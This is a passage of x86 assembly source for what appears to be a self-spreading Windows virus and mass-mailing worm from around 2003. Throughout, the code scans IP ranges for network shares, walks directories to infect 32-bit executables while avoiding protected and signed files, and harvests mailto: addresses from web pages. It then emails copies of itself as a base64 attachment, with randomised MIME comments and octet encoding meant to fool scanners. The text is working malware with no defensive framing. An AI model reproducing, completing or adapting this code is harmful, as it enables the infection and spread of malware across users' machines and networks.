ip_save label near
push ebx
bswap ebx
enter 34h, 0 ;size of Unicode '\\' + Unicode IP address + '\' + ANSI sharename
lea edi, dword ptr [ebp - 0eh] ;size of '\' + ANSI sharename
call cGetVersion
shr eax, 1fh ;0 if Unicode, 1 if ANSI
xchg esi, eax
xor al, al
mov cl, 0ah
std
stos byte ptr [edi]
mov edx, edi
stos byte ptr [edi] ;store Unicode sentinel
stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
;-----------------------------------------------------------------------------
;convert IP address to string (ANSI or Unicode)
;-----------------------------------------------------------------------------
ip_shift label near
xor eax, eax
shld eax, ebx, 8
ip_hex2dec label near
div cl
xchg ah, al
add al, '0'
stos byte ptr [edi]
xor al, al
stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
shr eax, 8
jne ip_hex2dec
mov al, '.'
stos byte ptr [edi]
xor al, al
stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
shl ebx, 8
jne ip_shift
cld
push edi
mov al, '\'
stos byte ptr [edi]
inc edi ;include Unicode half-character
sub edi, esi ;remove character if ANSI
stos byte ptr [edi] ;store '\\' in ANSI or Unicode
pop edi
test esi, esi
je ip_sharent
;-----------------------------------------------------------------------------
;enumerate shares on IP address (9x/Me platform)
;-----------------------------------------------------------------------------
push ebx
mov eax, esp
push ebx
push esp
push eax
push ebx ;too small size returns needed size
push ebx
push 1
push edi
mov ebx, edi
mov edi, edx
call dword ptr [esp + 44h + ip9xcrcstk.ip9xNetShareEnum + 18h]
pop ecx
pop esi
sub al, ERROR_MORE_DATA
jne ip_restore
imul esi, ecx, size share_info_19x + 50
;include size of optional remark
push esi
push eax ;GMEM_FIXED
call cGlobalAlloc
cdq
xchg ecx, eax
jecxz ip_restore
push ecx ;GlobalFree
push edx
mov eax, esp
push edx
push esp
push eax
push esi
push ecx
push 1
push ebx
mov esi, ecx
call dword ptr [esp + 48h + ip9xcrcstk.ip9xNetShareEnum + 18h]
pop ecx
pop ecx
mov al, '\'
stos byte ptr [edi]
ip_next9x label near
push ecx
push edi
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs byte ptr [edi], byte ptr [esi] ;attach sharename
pop edi
push ebx
call cSetCurrentDirectoryA
xchg ecx, eax
jecxz ip_skip9x
;I dream of rain, I live my years under an open sky
call find_files
ip_skip9x label near
add esi, size share_info_19x - share_info_19x.shi1_pad1
pop ecx
loop ip_next9x
ip_free9x label near
call cGlobalFree
ip_restore label near
leave
pop ebx
inc bl
jne ip_save
push 120 * 60 * 1000 ;2 hours
call cSleep
jmp find_ip
ip_sharent label near
;-----------------------------------------------------------------------------
;enumerate shares on IP address (NT/2000/XP platform)
;-----------------------------------------------------------------------------
push eax
mov eax, esp
push eax
mov ecx, esp
push ebx
push esp
push eax
push MAX_PREFERRED_LENGTH
push ecx
push 1
push edi
call dword ptr [esp + 44h + ipntcrcstk.ipntNetShareEnum + 1ch]
test eax, eax
pop esi
pop ebx
push esi ;NetApiBufferFree
jne ip_freent
ip_nextnt label near
push esi
lods dword ptr [esi]
push eax
xchg esi, eax
xor eax, eax ;lstrlenW
call store_krnapi
lea eax, dword ptr [eax + eax + 26h]
;include size of Unicode '\\' + Unicode IP address + Unicode '\'
push eax
push GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz ip_freent
push ecx ;GlobalFree
push ecx ;SetCurrentDirectoryW
push esi ;lstrcatW
push ecx ;lstrcatW
push '\'
push esp ;lstrcatW
push ecx ;lstrcatW
push edi
push ecx
push (krncrcstk.klstrcpyW - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi ;copy IP address
call clstrcatW ;attach '\'
pop eax
call clstrcatW ;attach sharename
push (krncrcstk.kSetCurrentDirectoryW - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
xchg esi, eax
call cGlobalFree
test esi, esi
je ip_skipnt
;when you look into the abyss, the abyss looks back at you
call find_files
ip_skipnt label near
pop esi
add esi, size share_info_1nt
dec ebx
jne ip_nextnt
ip_freent label near
call dword ptr [esp + 3ch + ipntcrcstk.ipntNetApiBufferFree + 4]
jmp ip_restore
find_ip endp
create_thr3 label near
push esi
push esi
call cCreateThread
;-----------------------------------------------------------------------------
;thread 4: send email to last mailto: address found. slow mailer
;-----------------------------------------------------------------------------
push "23"
push "_2sw"
push esp
call cLoadLibraryA
pop ecx
pop ecx
test eax, eax
jne found_ws2
push "23k"
push "cosw"
push esp
call cLoadLibraryA
pop ecx
pop ecx
found_ws2 label near
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
ws2crcbegin label near ;place < 80h bytes from call for smaller code
dd (ws2crc_count + 1) dup (0)
ws2crcend label near
dd offset wsock_init - offset ws2crcend + 4
wsock_init label near
mov ebx, esp
enter (size WSADATA + 3) and -4, 0
push esp
push 1
call dword ptr [ebx + ws2crcstk.wWSAStartup]
leave
pop eax
pop dword ptr ds:[offset store_send - offset junkhtml_inf + expsize + 401001h]
push PF_NS
push SOCK_STREAM
push AF_INET
call eax
mov dword ptr ds:[offset store_socket - offset junkhtml_inf + expsize + 401001h], eax
xchg ebp, eax
send_email label near
push 240 * 60 * 1000 ;4 hours
call cSleep
mov ebx, esp
push ebp
push 10000h ;message buffer
push GMEM_FIXED
call cGlobalAlloc
push eax ;GlobalFree
xchg edi, eax
mov esi, offset email_block - offset junkhtml_inf + expsize + 401000h
push ebx
push ebp
call decompmain ;smtp1 ("HELO ")
pop ebp
pop ebx
push esi
mov esi, offset mail_recip - offset junkhtml_inf + expsize + 401000h
find_smtp label near
lods byte ptr [esi]
cmp al, '@'
je store_smtp
or al, 5
cmp al, "'"
jne find_smtp
pop eax
branch_skip label near
jmp skip_send
store_smtp label near
mov ecx, edi
mov eax, "ptms"
stos dword ptr [edi]
mov al, '.'
stos byte ptr [edi]
copy_smtp label near
lods byte ptr [esi]
stos byte ptr [edi]
or al, 5
sub al, "'"
jne copy_smtp
pop esi
dec edi
mov byte ptr [edi], al
push ecx
call dword ptr [ebx - 8 + ws2crcstk.wgethostbyname]
xchg ecx, eax
jecxz branch_skip
;-----------------------------------------------------------------------------
;create and initialise sockaddr_in structure
;-----------------------------------------------------------------------------
push 0
push 0
push dword ptr [ecx + hostent.h_addr_list]
push (1900h shl 10h) + AF_INET
mov eax, esp
push size sockaddr_in
push eax
push ebp
call dword ptr [ebx - 8 + ws2crcstk.wconnect]
add esp, size sockaddr_in
call store_crlf
call senddata
;-----------------------------------------------------------------------------
;SMTP client engine by RT Fishel
;polymorphic headers (random comment insertion)
;-----------------------------------------------------------------------------
call decompmain ;smtp2 ("MAIL FROM:<>")
call senddata
call decompmain ;smtp3 ("RCPT TO:")
push esi
mov esi, offset mail_recip - offset junkhtml_inf + expsize + 401000h
copy_recip label near
lods byte ptr [esi]
stos byte ptr [edi]
or al, 5
cmp al, "'"
jne copy_recip
pop esi
dec edi
call store_crlf
call senddata
call decompmain ;smtp4 ("DATA")
call senddata
call decompmain ;header1 ("From: ")
call randword
call decompmain ;header2 ("Subject: ...")
call decompmime ;header31 ("MIME-Version:")
call decomptype ;part11 ("Content-Type:")
call decompcomcr ;part12 ("multipart/mixed;")
call decompcomnt ;part13 (" boundary=")
push edi
call randword ;boundary
call store_crlf
mov eax, edi
pop ecx
push ecx ;boundary pointer
sub eax, ecx
sub eax, 4
push eax ;boundary length
call randlines
pop eax
pop ecx
push ecx
push eax
call bound_copy ;boundary
dec edi
dec edi
mov eax, (0a0dh shl 10h) + '--'
stos dword ptr [edi] ;end of message ;)
stos word ptr [edi]
pop eax
pop ecx
push ecx
push eax
call bound_copy ;--boundary
call decompmain ;body1 ("Just click...")
mov eax, ('--' shl 10h) + 0a0dh
stos dword ptr [edi]
pop eax
pop ecx
push ecx
push eax
call bound_copy
push esi
call decomptype ;content-type
pop esi
call decompcomcr ;part21 ("text/plain;")
call decompcomnt ;part22 (" name=email.htm")
call decompcmap ;part23 ("Content-Transfer-Encoding:")
call decompcomnt ;part24 ("quoted-printable")
call decompcmap ;part25 ("Content-Disposition:")
push offset part26 - offset part25 - 4
pop ebp
call decompcomcr ;part26 ("attachment")
push edi
push esi
call decompmime ;header31 ("MIME-Version:")
pop esi
call decompcmap ;part27 ("Content-Location:")
push esi
patch_encode label near
mov esi, 'RTF!'
call decompcmap ;content-encoding
pop esi
call decompcomcr ;part28 ("base64")
call store_crlf
push esi
push ebp ;CreateFileA
push ebp ;CreateFileA
push OPEN_EXISTING ;CreateFileA
push ebp ;CreateFileA
push FILE_SHARE_READ ;CreateFileA
push GENERIC_READ ;CreateFileA
push edi ;CreateFileA
push 7fh
push edi
push ebp
push (krncrcstk.kGetModuleFileNameA - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
push (krncrcstk.kCreateFileA - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
push ebp
push eax
xchg ebx, eax
push (krncrcstk.kGetFileSize - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
push eax
xchg ebp, eax
push GMEM_ZEROINIT
call cGlobalAlloc
push eax ;GlobalFree
push ebx ;CloseHandle
push eax
push esp
push ebp
push eax
push ebx
xchg esi, eax
push (krncrcstk.kReadFile - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
call cCloseHandle
call b64encode
call cGlobalFree
pop esi
call decompmain ;part31 ("<script>moveBy...")
pop eax
call decompoct
mov eax, ('--' shl 10h) + 0a0dh
stos dword ptr [edi]
pop eax
pop ecx
call bound_copy
call randlines
call decompmain ;part41
call senddata
call decompmain ;part42
call senddata
skip_send label near
call cGlobalFree
pop ebp
jmp send_email
email_block label near
include email.inc
;-----------------------------------------------------------------------------
;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura
;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence
;asm port and size optimise by rgb in 2002
;-----------------------------------------------------------------------------
randinit proc near ;eax = seed, ecx = 0, edi -> RNG cache
pushad
push edi
or eax, 1
mov cx, statelen
init_loop label near
stos dword ptr [edi]
mov edx, 69069
mul edx ;Knuth: x_new = x_old * 69069
loop init_loop
inc ecx ;force reload
call initdelta
initdelta label near
pop edi
add edi, offset randvars - offset initdelta
xchg ecx, eax
stos dword ptr [edi]
pop eax
stos dword ptr [edi]
stos dword ptr [edi]
popad
ret
randinit endp
random proc near
pushad
call randelta
randvars label near
db 'rgb!' ;numbers left
db 'rgb!' ;next pointer
db 'rgb!' ;state pointer
randelta label near
pop esi
push esi
lods dword ptr [esi]
xchg ecx, eax
lods dword ptr [esi]
xchg esi, eax
loop random_ret
mov cx, statelen - period
mov esi, dword ptr [eax]
lea ebx, dword ptr [esi + (period * 4)]
mov edi, esi
push esi
lods dword ptr [esi]
xchg edx, eax
call twist
pop ebx
mov cx, period - 1
push ecx
push ebx
call twist
pop esi
push esi
inc ecx
call twist
xchg edx, eax
pop esi
pop ecx
inc ecx
random_ret label near
lods dword ptr [esi]
mov edx, eax
shr eax, tshiftU
xor eax, edx
mov edx, eax
shl eax, tshiftS
and eax, tmaskB
xor eax, edx
mov edx, eax
shl eax, tshiftT
and eax, tmaskC
xor eax, edx
mov edx, eax
shr eax, tshiftL
xor eax, edx
pop edi
mov dword ptr [esp + 1ch], eax ;eax in pushad
xchg ecx, eax
stos dword ptr [edi]
xchg esi, eax
stos dword ptr [edi]
popad
ret
random endp
twist proc near
lods dword ptr [esi]
push eax
add eax, eax ;remove highest bit
add edx, edx ;test highest bit
rcr eax, 2 ;merge bits and test lowest bit
jnb twist_skip ;remove branch but larger using:
xor eax, matrixA ;sbb edx, edx+and edx, matrixA+xor eax, edx
twist_skip label near
xor eax, dword ptr [ebx]
add ebx, 4
stos dword ptr [edi]
pop edx
loop twist
ret
twist endp
senddata proc near
pop ecx
pop eax
push eax
push 0
sub edi, eax
push edi
push eax
store_socket label near
push "!bgr"
push ecx
xchg edi, eax
store_send label near
push "!bgr"
ret
senddata endp
;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------
find_files proc near
pushad
push size findlist
push GMEM_ZEROINIT
call cGlobalAlloc
test eax, eax
je file_exit
xchg esi, eax
call get_krnapis
file_first label near
push '*' ;ANSI-compatible Unicode findmask
mov eax, esp
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
push eax
call dword ptr [ebp + krncrcstk.kFindFirstFileW]
pop ecx
mov dword ptr [esi + findlist.findhand], eax
inc eax
je file_prev
;you must always step forward from where you stand
test_dirfile label near
mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
lea edi, dword ptr [esi + findlist.finddata.cFileName]
test al, FILE_ATTRIBUTE_DIRECTORY
je test_file
cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP)
je file_next
;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------
push edi
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
xchg ecx, eax
jecxz file_next
push size findlist
push GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz step_updir
xchg esi, ecx
mov dword ptr [esi + findlist.findprev], ecx
jmp file_first
file_exit label near
popad
ret
file_next label near
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
mov edi, dword ptr [esi + findlist.findhand]
push edi
call dword ptr [ebp + krncrcstk.kFindNextFileW]
test eax, eax
jne test_dirfile
;-----------------------------------------------------------------------------
;close find, and free list node
;-----------------------------------------------------------------------------
push edi
mov al, (krncrcstk.kFindClose - krncrcstk.klstrlenW) shr 2
call store_krnapi
file_prev label near
push esi
mov esi, dword ptr [esi + findlist.findprev]
call cGlobalFree
test esi, esi
je file_exit
step_updir label near
;-----------------------------------------------------------------------------
;the ANSI string ".." can be used, even on Unicode platforms
;-----------------------------------------------------------------------------
push '..'
push esp
call cSetCurrentDirectoryA
pop eax
jmp file_next
test_file label near
;-----------------------------------------------------------------------------
;get full path and convert to Unicode if required (SFC requires Unicode path)
;-----------------------------------------------------------------------------
push eax ;save original file attributes for close
mov eax, ebp
enter MAX_PATH * 2, 0
mov ecx, esp
push eax
push esp
push ecx
push MAX_PATH
push edi
call dword ptr [eax + krncrcstk.kGetFullPathNameW]
xchg edi, eax
pop eax
xor ebx, ebx
call cGetVersion
test eax, eax
jns store_sfcapi
mov ecx, esp
xchg ebp, eax
enter MAX_PATH * 2, 0
xchg ebp, eax
mov eax, esp
push MAX_PATH
push eax
inc edi
push edi
push ecx
push ebx ;use default translation
push ebx ;CP_ANSI
push (krncrcstk.kMultiByteToWideChar - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
store_sfcapi label near
;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------
mov ecx, '!bgr' ;SfcIsFileProtected
xor eax, eax ;fake success in case of no SFC
jecxz leave_sfc
push esp
push ebx
call ecx
leave_sfc label near
leave
test eax, eax
jne restore_attr
call set_fileattr
push ebx
push ebx ;attribute ignored for existing files
push OPEN_EXISTING
push ebx
push ebx
push GENERIC_READ or GENERIC_WRITE
push edi
call dword ptr [ebp + krncrcstk.kCreateFileW]
xchg ebx, eax
call test_infect
db 81h ;mask CALL
call infect_file ;Super Nashwan power ;)
lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
push eax
sub eax, 8
push eax
sub eax, 8
push eax
push ebx
push (krncrcstk.kSetFileTime - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
push ebx
call cCloseHandle
restore_attr label near
pop ebx ;restore original file attributes
call set_fileattr
jmp file_next
find_files endp
;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------
is_pehdr proc near ;edi -> map view
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
jne pehdr_ret
mov esi, dword ptr [edi + mzhdr.mzlfanew]
add esi, edi
lods dword ptr [esi] ;SEH protects against bad lfanew value
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
pehdr_ret label near
ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set
is_pehdr endp
;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------
set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
push ebx
lea edi, dword ptr [esi + findlist.finddata.cFileName]
push edi
call dword ptr [ebp + krncrcstk.kSetFileAttributesW]
ret ;edi -> filename
db "07/05/03"
set_fileattr endp
;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------
test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs
call map_view
mov ebp, esi
call is_pehdr
jne inftest_name
lods dword ptr [esi]
cmp ax, IMAGE_FILE_MACHINE_I386
jne inftest_ret ;only Intel 386+
shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8
lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
mov eax, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;no .dll files this time
;-----------------------------------------------------------------------------
test ah, (IMAGE_FILE_SYSTEM or IMAGE_FILE_DLL or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
jne inftest_ret
;-----------------------------------------------------------------------------
;32-bit executable file...
;-----------------------------------------------------------------------------
and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
jne inftest_ret ;cannot use xor+jpo because 0 is also jpe
;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------
add esi, pehdr.pesubsys - pehdr.pecoff.petimedate
lods dword ptr [esi]
cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
jnbe inftest_ret
cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
jb inftest_ret
shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
jb inftest_ret
;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------
cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pestackmax], eax
jnbe inftest_ret
;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------
movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pestackmax]
add eax, edx
mov ebx, dword ptr [esi + pehdr.pefilealign - pehdr.pestackmax]
lea esi, dword ptr [esi + eax - pehdr.pestackmax + pehdr.pemagic - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
add eax, dword ptr [esi]
cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
jne inftest_ret ;file contains appended data
add dword ptr [ebp + findlist.finddata.dwFileSizeLow], ebx
inc dword ptr [esp + mapsehstk.mapsehinfret]
;skip call mask
inftest_ret label near
int 3
;-----------------------------------------------------------------------------
;if suffix is any of .asp, .cfm, .css, .jsp, .[?]php* .[?]htm*
;then search for "mailto:" and save address if '@' is found
;-----------------------------------------------------------------------------
inftest_name label near
call cGetVersion
shr eax, 1fh
dec ax
mov al, 0ffh
xchg ebx, eax
lea eax, dword ptr [ebp + findlist.finddata.cFileName]
store_charnext label near
mov esi, "!bgr"
find_suffix label near
push eax
call esi
mov ecx, dword ptr [eax]
and ecx, ebx
je inftest_ret
cmp ecx, '.'
jne find_suffix ;support only one suffix
mov cl, 4
push edi
get_suffix label near
push ecx
push eax
call esi
pop ecx
mov edx, dword ptr [eax]
test dh, bh
jne inftest_ret ;Unicode character
or dl, ' ' ;convert to lowercase
shrd edi, edx, 8
loop get_suffix
xchg edi, eax
cmp eax, " psa" ;.asp
je found_text
cmp eax, " mfc" ;.cfm
je found_text
cmp eax, " ssc" ;.css
je found_text
cmp eax, " psj" ;.jsp
je found_text
cmp al, 'p'
je and_suffix
cmp al, 'h'
je and_suffix
shr eax, 8 ;skip first character
and_suffix label near
shl eax, 8
cmp eax, "php" shl 8 ;.[?]php
je found_text
cmp eax, "mth" shl 8 ;.[?]htm
jne inftest_ret
found_text label near
pop edi
dec ecx ;page fault exit if no mailto:
find_mailto label near
mov al, 'm'
repne scas byte ptr [edi]
jne inftest_ret
cmp dword ptr [edi], "tlia"
jne find_mailto
cmp word ptr [edi + 4], ":o"
jne find_mailto
cdq
lea esi, dword ptr [edi + 6]
mov ebp, esi
find_mailend label near
lods byte ptr [esi]
cmp al, '@'
jne skip_at
inc edx
skip_at label near
or al, 5 ;" -> '
cmp al, "'"
jne find_mailend
dec edx
jne mailtest_ret ;too few or too many '@'s
mov ecx, esi
dec esi
sub ecx, ebp
lea edi, dword ptr [ecx + offset mail_recip - offset junkhtml_inf + expsize + 400fffh]
;-----------------------------------------------------------------------------
;no thread sync because EnterCriticalSection is forwarded in NT/2000/XP
;and my import resolver doesn't support forwarded imports
;the solution is to write in reverse direction which avoids crash
;-----------------------------------------------------------------------------
std
rep movs byte ptr [edi], byte ptr [esi]
cld
mailtest_ret label near
int 3
decomptest proc near
push 1
pop ebp
push ebp
btr eax, 7
jnb decompcall
xchg ebp, eax
pop eax
call random
xor edx, edx
div ebp
sub ebp, edx
push ebp
lea ebp, dword ptr [edx + 1]
xchg edi, eax
decompfirst label near
xchg edi, eax
lods byte ptr [esi]
decompcall label near
push edi
call decompress
pop eax
dec ebp
jne decompfirst
jmp decompmulti
decomplast label near
push ecx
push edi
lods byte ptr [esi]
call decompress
pop edi
decompmulti label near
pop ecx
loop decomplast
decompmain label near
xor eax, eax
lods byte ptr [esi]
test al, al
jne decomptest
ret
decomptest endp
;-----------------------------------------------------------------------------
;4/5-bit text decompressor by RT Fishel, based on algorithm by qkumba in 1986!
;decompresses A-Z, a-z, 0-9, 3 user characters, lookup table for more characters
;-----------------------------------------------------------------------------
decompress proc near ;al -> src length, esi -> src buffer, edi -> dst buffer
xchg ebx, eax
mov cx, ('!' shl 8)
mov edx, (1fh shl 8) + 5
call decomploop
db user1, user2, user3
endif
usertable db 0dh, ".-<>=()", 22h, "';+!?"
;max 32 characters, sort by frequency for best compression
usertable_e equ $
if (offset usertable_e - offset usertable) gt 32
.err "too many user characters"
endif
ife compress_only
decompbase label near
xor dx, (10h shl 8) + 1
jmp decomploop
decompcase label near
xor ch, 'a' - 1
decomploop label near
call decompload
cmp dl, 5
je decompcmp
or al, 10h
decompcmp label near
cmp al, 1ah ;case switch
je decompcase
jb decompimm
sub al, 1ch
jb decompbase
and al, dh
jne decompuser
call decompload
;this instruction appears twice because the "add al, 3"
;can overflow in 4-bit mode. if "and al, dh" appears
;after that, then the result is wrong character
and al, dh
add al, 3 ;skip user1, user2, user3
decompuser label near
add eax, dword ptr [esp]
mov al, byte ptr [eax - 1]
cmp al, 0dh
jne decompstore
stos byte ptr [edi]
mov al, 0ah
jmp decompstore
decompimm label near
add al, ' '
cmp dl, 4
je decompstore
add al, ch
decompstore label near
stos byte ptr [edi]
dec bl
jne decomploop
test cl, cl
je decomppop
inc esi
decomppop label near
pop eax
ret
decompload proc near
mov eax, dword ptr [esi]
bswap eax
add cl, dl
rol eax, cl
cmp cl, 8
jb decompldret
sub cl, 8
inc esi
decompldret label near
and eax, 1fh
ret
decompload endp
decompress endp
;-----------------------------------------------------------------------------
;fill random number of lines with random number of random characters
;-----------------------------------------------------------------------------
randlines proc near
call random
and eax, 7
inc eax
xchg edx, eax
randloop label near
call random
and eax, 63 ;highest power of 2, -1, <= 76
inc eax
xchg ebp, eax
call randline
dec edx
jne randloop
randword proc near
push 8
pop ebp
randline proc near
call random
and al, 1fh
cmp al, 19h
jnbe randline
add al, 'A'
stos byte ptr [edi]
dec ebp
jne randline
store_crlf proc near
mov ax, 0a0dh
stos word ptr [edi]
ret
store_crlf endp
randline endp
randword endp
randlines endp
decompmime proc near
patch_mime label near
mov esi, "RTF!"
call decompcmap ;header31 ("MIME-Version:")
xor ebp, ebp
call decompcomnt ;header32 ("1.0")
jmp store_crlf
decompmime endp
;-----------------------------------------------------------------------------
;insert random comments into MIME headers, to fool non-compliant MIME software
;this includes some Microsoft products, such as Internet Mail And News :(
;map case randomly
;-----------------------------------------------------------------------------
decompcomcr proc near
push offset store_crlf - offset junkhtml_inf + expsize + 401000h
decompcomnt proc near
push edi
push ebp
call decompmain
pop ebp
sub ebp, 71 ;highest multiple of 4, < 76, -1
neg ebp
pop eax
decompname proc near
push esi
mov ecx, edi
sub ecx, eax
add edi, ebp
mov esi, eax
push ecx
push edi
rep movs byte ptr [edi], byte ptr [esi]
pop esi
pop ebx
xchg edi, eax
;-----------------------------------------------------------------------------
;copy up to 3 original characters, always at least 1
;if no room for more comments, then copy remainder and quit
;-----------------------------------------------------------------------------
comnt_copy label near
call random
and eax, 3
jne force_copy
inc eax
force_copy label near
cmp bl, al
jbe comnt_ret
cmp ebp, ebx
jbe comnt_ret
sub bl, al
sub ebp, eax
xchg ecx, eax
call randcase
;-----------------------------------------------------------------------------
;insert up to 3 random comment characters, always at least 1
;-----------------------------------------------------------------------------
call random
and eax, 3
jne force_store
inc eax
force_store label near
sub ebp, eax
dec ebp
dec ebp
push ebp
xchg ebp, eax
mov al, '('
stos byte ptr [edi]
;-----------------------------------------------------------------------------
;printable character from 20 ( ) to 7e (~), except '(', ')', and '\'
;cannot use '(' or ')' because comments can be nested, '\' has special meaning
;-----------------------------------------------------------------------------
comnt_add label near
call random
and al, 7fh
cmp al, ' ' + 1
jb comnt_add
cmp al, '(' + 1
jb comnt_bound
cmp al, ')' + 1
jbe comnt_add
cmp al, '\' + 1
je comnt_add
comnt_bound label near
dec eax
stos byte ptr [edi]
dec ebp
jne comnt_add
mov al, ')'
stos byte ptr [edi]
pop ebp
jmp comnt_copy
comnt_ret label near
mov ecx, ebx
jecxz comnt_skip
call randcase
comnt_skip label near
pop esi
xor ebp, ebp
ret
randcase proc near
push ecx
call random
lods byte ptr [esi]
cmp al, 40h
jb case_skip
and ah, 20h
xor al, ah
case_skip label near
stos byte ptr [edi]
pop ecx
loop randcase
ret
randcase endp
decompname endp
decompcomnt endp
decompcomcr endp
;-----------------------------------------------------------------------------
;map case randomly without comments
;-----------------------------------------------------------------------------
decompcmap proc near
push edi
call decompmain
mov ecx, edi
pop edi
sub ecx, edi
push esi
mov esi, edi
call randcase
pop esi
push offset part24 - offset part23 - 4
pop ebp
ret
decompcmap endp
;-----------------------------------------------------------------------------
;randomly convert characters to octets to fool string scanners
;automatically wraps long lines
;-----------------------------------------------------------------------------
decompoct proc near
push esi
push eax
push edi
mov ecx, edi
sub ecx, eax
xchg esi, eax
octet_line label near
jecxz octet_copy
push 72 ;highest safe multiple of 3, < 76
pop ebp
;-----------------------------------------------------------------------------
;don't process '=' if used as line-continue character
;-----------------------------------------------------------------------------
octet_check label near
mov eax, dword ptr [esi]
cmp ax, 0d3dh
je octet_eqcrlf
cmp al, 0dh
je octet_crlf
test ebp, ebp
jle octet_break ;signed compare in case of < 0
;-----------------------------------------------------------------------------
;randomly process any character
;-----------------------------------------------------------------------------
call random
test al, 1
lods byte ptr [esi]
jne octet_make
;-----------------------------------------------------------------------------
;always process '=' character
;-----------------------------------------------------------------------------
cmp al, '='
jne octet_skip
octet_make label near
mov byte ptr [edi], '='
inc edi
aam 10h
cmp al, 0ah
sbb al, 69h
das
xchg ah, al
cmp al, 0ah
sbb al, 69h
das
stos byte ptr [edi]
dec ebp
dec ebp
mov al, ah
octet_skip label near
stos byte ptr [edi]
dec ebp
loop octet_check
octet_copy label near
pop esi
mov ecx, edi
sub ecx, esi
pop edi
rep movs byte ptr [edi], byte ptr [esi]
pop esi
ret
octet_eqcrlf label near
movs byte ptr [edi], byte ptr [esi]
dec ecx
octet_crlf label near
movs word ptr [edi], word ptr [esi]
dec ecx
dec ecx
jmp octet_line
octet_break label near
mov eax, 0a0d3dh
stos dword ptr [edi]
dec edi
jmp octet_line
decompoct endp
bound_copy proc near
push esi
xchg ecx, eax
xchg esi, eax
rep movs byte ptr [edi], byte ptr [esi]
pop esi
jmp store_crlf
bound_copy endp
decomptype proc near
patch_type label near
mov esi, 'RTF!'
call decompcmap
push offset part12 - offset part11 - 2
pop ebp
ret
decomptype endp
;-----------------------------------------------------------------------------
;base64 encoder without dictionary by RT Fishel
;-----------------------------------------------------------------------------
b64_newline proc near
call store_crlf
b64encode label near ;ebp = length, esi -> src buffer, edi -> dst buffer
push (76 shr 2) + 1
pop edx
b64_outer label near
dec edx
je b64_newline
lods dword ptr [esi]
dec esi
inc ebp
bswap eax
push 4
pop ecx
b64_inner label near
rol eax, 6
and al, 3fh
cmp al, 3eh
jb b64_testchar
shl al, 2 ;'+' and '/' differ by only 1 bit
sub al, ((3eh shl 2) + 'A' - '+') and 0ffh
b64_testchar label near
sub al, 4
cmp al, '0'
jnl b64_store ;l not b because '/' is still < 0 here
add al, 'A' + 4
cmp al, 'Z'
jbe b64_store
add al, 'a' - 'Z' - 1
b64_store label near
stos byte ptr [edi]
dec ebp
loopne b64_inner
jne b64_outer
mov al, '='
rep stos byte ptr [edi]
ret
b64_newline endp
;-----------------------------------------------------------------------------
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
;-----------------------------------------------------------------------------
